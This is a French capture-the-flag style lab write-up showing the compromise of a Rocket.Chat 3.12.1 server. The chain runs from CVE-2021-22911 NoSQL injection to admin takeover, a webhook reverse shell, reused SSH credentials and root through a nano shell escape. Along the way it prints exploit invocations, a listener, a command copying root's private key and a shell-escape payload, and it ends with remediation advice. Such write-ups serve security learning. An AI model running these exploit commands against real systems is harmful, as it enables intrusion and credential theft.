Lab Exception : Exploitation CVE-2021-22911 & PrivEsc Nano
Pentest d'un serveur de messagerie d'entreprise : découverte d'un Rocket.Chat 3.12.1 vulnérable à CVE-2021-22911 (NoSQL Injection → Account Takeover → RCE), récupération de credentials SSH dans l'environnement, et élévation de privilèges root via un shell escape dans nano.
Contexte & Objectifs
| Champ | Détail |
|---|---|
| Plateforme | HackSmarter |
| Lien | Accéder au Lab |
| Cible | exception.hsm - 10.0.24.50 |
| CVE | CVE-2021-22911 (Rocket.Chat NoSQL Injection to RCE) |
| Difficulté | Medium |
Scénario : Dans le cadre d'un pentest interne, une cible hébergeant des communications d'entreprise sensibles a été identifiée. L'objectif est de compromettre entièrement le serveur et de démontrer un risque tangible au client.
Kill chain :
Scan → helpbot (80) + Rocket.Chat (3000)
│
▼
/api/info → version 3.12.1 confirmée
│
▼
CVE-2021-22911 → NoSQL Injection → token admin
│ → Account Takeover → Webhook RCE
▼
Shell rocket.chat → credentials MongoDB → SSH Ron
│
▼
sudo -l → check_log NOPASSWD → nano shell escape → root
1. Reconnaissance - RustScan
rustscan -a exception.hsm -- -A
Output :
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
80/tcp open http Apache httpd
|_http-title: HelpBot - Support Chat
3000/tcp open http Node.js Express framework
|_http-title: Rocket.Chat
Deux services web :
- Port 80 : Un helpbot de support. Un simple chatbot statique.
- Port 3000 : Rocket.Chat - une plateforme de messagerie d'entreprise.


2. Énumération Web
2.1 Feroxbuster - Port 80
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt \
-u http://10.0.24.50

Rien de significatif. On inspecte le code source de la page, le chatbot est entièrement client-side en JavaScript, sans appel à une API backend. C'est un leurre décoratif.

const responses = [
{ keywords: ["hi", "hello"], reply: "Hey there! How are you doing?" },
{ keywords: ["help"], reply: "Sure! What do you need help with?" },
// ...
];
Toute la logique est dans le navigateur. Aucun endpoint serveur à exploiter ici.
2.2 Feroxbuster - Port 3000 (Rocket.Chat)
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt \
-u http://10.0.24.50:3000

Un endpoint ressort : /api/info, c'est l'API REST de Rocket.Chat qui expose les métadonnées du serveur.
2.3 Création de Compte & Reconnaissance Manuelle
On crée un compte utilisateur sur le Rocket.Chat et on explore.

Dans le channel #general :

Le message révèle l'email de l'administrateur : localh0ste@exception.local avec le username localh0ste. C'est l'information clé pour la suite, l'exploit nécessite de connaître le compte admin à cibler.
2.4 Vérification de la Version
Avant de chercher des exploits, on vérifie la version exacte de Rocket.Chat :
http://exception.hsm:3000/api/info

{
"version": "3.12.1",
"build": { ... }
}
Version 3.12.1 confirmée. Une recherche rapide sur Exploit-DB :

CVE-2021-22911 - NoSQL Injection to RCE, exactement notre version.
3. Exploitation - CVE-2021-22911
Comprendre la Vulnérabilité
Rocket.Chat est une plateforme de messagerie d'entreprise open-source basée sur Meteor (JavaScript) et MongoDB. Elle est une alternative à Slack, utilisée en interne par de nombreuses entreprises.
La faille NoSQL Injection :
Lors d'une demande de réinitialisation de mot de passe, l'application construit une requête MongoDB pour trouver l'utilisateur par son email. Normalement, elle s'attend à recevoir une simple chaîne de caractères.
// Requête légitime (cherche un email exact)
{ "email": "admin@target.local" }
Le problème : l'application ne valide pas le type de données reçu. Elle accepte des objets JSON complexes à la place d'une simple chaîne. Un attaquant peut injecter des opérateurs MongoDB directement dans la requête :
// Requête malveillante (opérateur $regex)
{ "email": { "$regex": "^localh0ste" } }
L'opérateur $regex demande à MongoDB de trouver tous les comptes dont l'email commence par localh0ste. La base de données retourne le compte correspondant et génère un token de réinitialisation valide.
La chaîne d'exploitation complète :
Étape 1 - Extraction du token admin
Attaquant envoie : {"email": {"$regex": "^localh0ste"}}
MongoDB trouve le compte admin
Application génère un token de reset → stocké en base
Étape 2 - Récupération du token par injection
Via un compte faible privilège authentifié,
l'attaquant interroge l'API pour lire le token
en bruteforçant caractère par caractère avec $regex
Étape 3 - Account Takeover
Token récupéré → changement de mot de passe admin
Connexion au panneau d'administration
Étape 4 - RCE via Webhook
Administration → Intégrations → Webhook entrant
Le webhook permet d'exécuter des scripts JavaScript
On injecte une commande bash → reverse shell
[!NOTE] Pourquoi le webhook donne une RCE ? Rocket.Chat permet aux administrateurs de créer des webhooks avec des scripts de traitement personnalisés. Ces scripts s'exécutent côté serveur avec les droits du processus Rocket.Chat. Un script malveillant peut donc appeler des commandes système (
child_process.exec()).
Préparation de l'Exploit
On localise et télécharge l'exploit :
searchsploit -m linux/webapps/50108.py
Exploit: Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated) (2)
URL: https://www.exploit-db.com/exploits/50108
Path: /usr/share/exploitdb/exploits/linux/webapps/50108.py
Codes: CVE-2021-22911
Verified: True
Copied to: /home/zcook/labs/exception/50108.py
Installation des dépendances dans un environnement virtuel :
python3 -m venv venv
source venv/bin/activate
pip install oathtool requests
Adaptation du Payload
Le script original (50108.py) d'Exploit-DB ne fonctionnait pas sur cette cible malgré plusieurs tentatives d'ajustement. On a finalement utilisé la version adaptée par 0xb0b :
Référence : 0xb0b.gitbook.io - Exception writeup
Cette version (50108_opt.py) diffère de l'original sur 4 points clés :
| Différence | Original | Version 0xb0b |
|---|---|---|
| Extraction du secret 2FA | Blind NoSQL injection lente | Injection $where qui force MongoDB à lever une erreur contenant le secret TOTP |
| Extraction du token de reset | Bruteforce aveugle caractère par caractère | Injection $where sur services.password.reset.token plus rapide et fiable |
| Changement de mot de passe | Sans gestion du 2FA | Génère le code TOTP via oathtool avec le secret extrait avant de changer le password |
| Reverse shell | Commande en clair | Encodé en Base64, évite les problèmes d'échappement de caractères dans le webhook |
La logique globale reste la même, c'est l'implémentation de chaque étape qui diffère.
Lancement de l'Exploit
On prépare notre listener :
nc -lvnp 4444
Puis on lance l'exploit avec tous les paramètres nécessaires :
python 50108.py \
-t http://exception.hsm:3000/ \
-u 'test@lab.local' \
-U 'test' \
-p 'test2' \
-a 'localh0ste@exception.local' \
-A 'localh0ste' \
-H 10.200.53.42 \
-P 4444
| Paramètre | Valeur | Rôle |
|---|---|---|
-t | http://exception.hsm:3000/ | URL du Rocket.Chat cible |
-u | test@lab.local | Email du compte basse privilège qu'on contrôle |
-U | test | Username du compte basse privilège |
-p | test2 | Mot de passe du compte basse privilège |
-a | localh0ste@exception.local | Email du compte admin à compromettre |
-A | localh0ste | Username admin |
-H | 10.200.53.42 | Notre IP Kali (où écoute nc) |
-P | 4444 | Port d'écoute |
Output de l'exploit :


Notre listener reçoit la connexion :
connect to [10.200.53.42] from (UNKNOWN) [10.0.24.50] 52841
/bin/sh: 0: can't access tty
$
4. Post-Exploitation - Découverte des Credentials SSH
On explore l'environnement du serveur Rocket.Chat :

Dans les fichiers de configuration de Rocket.Chat, on trouve les credentials de connexion MongoDB :
DB_HOST: localhost
DB_PORT: 27017
DB_NAME: rocketchat
DB_USER: Ron
DB_PASSWORD: <password_trouvé>
[!NOTE] Un pattern classique en pentest : les credentials de base de données sont souvent réutilisés comme mots de passe système. Le nom d'utilisateur
Roncorrespond à un compte local sur la machine.
On tente une connexion SSH avec ces credentials :
ssh Ron@exception.hsm

Connexion établie. On est maintenant Ron avec un vrai shell SSH stable bien mieux que le reverse shell fragile de Rocket.Chat.
5. Flag Utilisateur
Ron@Chatty:~$ ls
user.txt
Ron@Chatty:~$ cat user.txt

6. Élévation de Privilèges
6.1 Analyse des Permissions sudo
Ron@Chatty:~$ sudo -l
Matching Defaults entries for Ron on Chatty:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User Ron may run the following commands on Chatty:
(root) NOPASSWD: /opt/log_inspector/check_log --clean
Ron peut exécuter /opt/log_inspector/check_log --clean en tant que root, sans mot de passe.

6.2 Inspection du Binaire
Ron@Chatty:~$ file /opt/log_inspector/check_log
/opt/log_inspector/check_log: setuid ELF 64-bit LSB pie executable, x86-64,
version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=9afff3e86d2fb0228defb815a2e9b590ae33c24f,
for GNU/Linux 3.2.0, not stripped
Points clés :
- ELF 64-bit : exécutable Linux compilé
- setuid : s'exécute avec les droits du propriétaire (root) peu importe qui le lance
- not stripped : les symboles de debug sont présents,
stringsva être utile
Ron@Chatty:~$ ls -la /opt/log_inspector/check_log
-rwsr-xr-x 1 root root 18432 May 15 2026 /opt/log_inspector/check_log

Propriétaire : root. Bit SUID (rws) confirmé.
Ron@Chatty:~$ strings /opt/log_inspector/check_log

L'output de strings révèle que le binaire appelle nano pour ouvrir et afficher un fichier log lors de l'option --clean. C'est notre vecteur.
6.3 Dead Ends - Ce qui n'a Pas Marché
Avant de trouver le bon vecteur, plusieurs pistes ont été testées :
Abus de la variable $EDITOR :
EDITOR='bash -c "cat /root/.ssh/id_rsa > /tmp/root_key"' \
/opt/log_inspector/check_log --clean
# Résultat : Permission denied - le binaire drop les privilèges avant d'appeler $EDITOR
Command injection dans les arguments : sans résultat.
Manipulation des fichiers temporaires /tmp : sans résultat.
Ces échecs ont orienté la recherche vers google et c'est là que GTFOBins entre en jeu.
6.4 Nano Shell Escape - Le Vecteur Réel
Références : GTFOBins - nano / Linux PrivEsc via sudo abuse
Principe :
Quand un processus doté de droits élevés lance un programme enfant, ce programme hérite des privilèges du parent. Le binaire check_log tourne en root et appelle nano. Nano reçoit donc les droits root. Si nano permet d'exécuter des commandes shell (ce qu'il fait nativement), le shell obtenu est root.
Ron (user standard)
│
└──▶ check_log --clean (sudo → root)
│
└──▶ nano (hérite des droits root)
│
└──▶ sh (root) ← shell escape
Nano possède une fonctionnalité native d'exécution de commandes accessible via le menu "Read File" → "Execute Command". C'est documenté dans GTFOBins et c'est exactement ce qu'on va exploiter.
Séquence d'exploitation :
Étape 1 - Déclencher le binaire :
sudo /opt/log_inspector/check_log --clean
L'interface de nano s'ouvre avec les droits root.
Étape 2 - Activer le mode "Read File" :
Ctrl + R
Étape 3 - Basculer en mode "Execute Command" :
Ctrl + X
Un prompt de commande apparaît en bas de l'interface nano.
Étape 4 - Injecter le payload shell :
reset; sh 1>&0 2>&0
| Élément | Rôle |
|---|---|
reset | Réinitialise les paramètres visuels du terminal pour un affichage propre |
sh | Lance un shell standard (/bin/sh) |
1>&0 | Redirige STDOUT vers STDIN - rend le shell interactif |
2>&0 | Redirige STDERR vers STDIN - les erreurs sont aussi visibles |
Étape 5 - Valider avec Entrée.
Nano disparaît, un shell interactif apparaît :
# whoami
root

7. Flag Root
# cat /root/root.txt

8. Conclusion & Remédiation
Kill Chain Complète
1. RustScan → Port 80 (helpbot) + Port 3000 (Rocket.Chat 3.12.1)
2. /api/info → Version confirmée → CVE-2021-22911 applicable
3. #general → Email admin découvert (localh0ste@exception.local)
4. CVE-2021-22911 → NoSQL Injection → token admin → Account Takeover → RCE
5. Shell Rocket.Chat → Credentials MongoDB → réutilisation SSH
6. SSH Ron → Shell stable sur la machine
7. Flag user → Récupéré dans /home/Ron/
8. sudo -l → check_log NOPASSWD → nano spawn root
9. Nano shell escape → Ctrl+R → Ctrl+X → reset;sh → shell root
10. Flag root → Récupéré dans /root/
Remédiation
| Vecteur | Problème | Remédiation |
|---|---|---|
| Rocket.Chat 3.12.1 | CVE-2021-22911 - NoSQL Injection non patchée | Mettre à jour vers Rocket.Chat ≥ 3.13.2 |
| Validation des inputs API | Accepte des objets MongoDB en lieu d'une chaîne | Valider le type des données en entrée - rejeter tout ce qui n'est pas une chaîne simple |
| Email admin visible | Exposé en clair dans un channel public | Canaux publics ne doivent pas contenir d'informations sensibles |
| Credentials MongoDB réutilisés | Même password pour la DB et le compte système | Cloisonner les credentials - un credential par service, jamais de réutilisation |
check_log NOPASSWD sudo | Ron peut déclencher un shell root via nano | Restreindre sudo au strict nécessaire. Idéalement, supprimer cette règle. Si requis, utiliser un wrapper qui ne lance pas d'éditeur interactif |
| Nano dans le contexte privilégié | Nano permet l'exécution de commandes - shell escape trivial | Ne jamais appeler d'éditeurs de texte interactifs depuis des binaires privilégiés. Utiliser cat (lecture seule) si l'affichage suffit |
[!NOTE] La leçon clé : la réutilisation de credentials entre la base de données et le compte système est une erreur qui transforme une RCE limitée (contexte Rocket.Chat) en accès SSH légitime et stable. Sans ça, l'exploitation aurait été nettement plus complexe.
Writeup rédigé par Zcook - ZcookOps
